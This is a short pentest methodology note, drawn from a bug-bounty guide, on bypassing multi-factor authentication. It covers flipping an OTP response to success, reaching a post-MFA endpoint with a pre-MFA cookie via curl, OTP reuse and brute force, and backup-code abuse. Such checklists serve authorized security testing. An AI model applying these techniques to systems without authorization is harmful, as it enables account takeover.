MFA Bypass

Objective

Bypass multi-factor authentication via response manipulation, direct endpoint access, and OTP flaws.

Attribution: Methodology from KathanP19/HowToHunt — MFA_Bypasses, Authentication_Bypass. Licensed GPL-3.0.

Testing Methodology

Response Manipulation

POST /verify-otp HTTP/1.1
{"code":"0000"}
# Response: {"success":false}
# Change to {"success":true} and forward — if client trusts, bypass

Direct Access to Post-MFA Endpoint

# Skip MFA by directly hitting authenticated endpoint
curl -H "Cookie: session=pre-mfa-token" https://target.com/dashboard
# If 200 without MFA, bypass

OTP Reuse and Brute Force

# Reuse same OTP twice
# No rate limit brute force (see attack-password-reset OTP section)
# OTP for one user works for another (not bound)

Backup Code Abuse

• Test if backup codes not invalidated after use
• Test if backup code generation is predictable

References

• HowToHunt — MFA Bypasses